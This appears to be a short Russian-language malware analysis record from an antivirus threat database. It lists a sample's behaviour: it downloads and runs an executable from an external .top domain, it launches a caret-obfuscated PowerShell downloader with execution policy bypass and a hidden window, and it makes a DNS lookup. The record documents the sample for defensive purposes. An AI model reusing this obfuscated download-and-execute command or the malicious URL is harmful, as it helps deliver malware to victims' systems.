Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.fapoergol.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "pO^W^Er^s^h^El^L.ex^E^ -ExECu^Tio^NpO^li^cY^ ^BYPA^SS^ -NOP^ROfI^Le^ -W^I^N^dOW^St^y^L^E ^h^id^d^EN^ ^(NEW-o^bJEct ^SyS^t^Em^.Ne^T.w^e^Bcl^IEn^T).dO^w^N^l^oADFiLE^('http://www.fapoerg...
Сетевая активность
UDP
- DNS ASK fa###rgol.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "pO^W^Er^s^h^El^L.ex^E^ -ExECu^Tio^NpO^li^cY^ ^BYPA^SS^ -NOP^ROfI^Le^ -W^I^N^dOW^St^y^L^E ^h^id^d^EN^ ^(NEW-o^bJEct ^SyS^t^Em^.Ne^T.w^e^Bcl^IEn^T).dO^w^N^l^oADFiLE^('http://www.fapoerg...' (со скрытым окном)
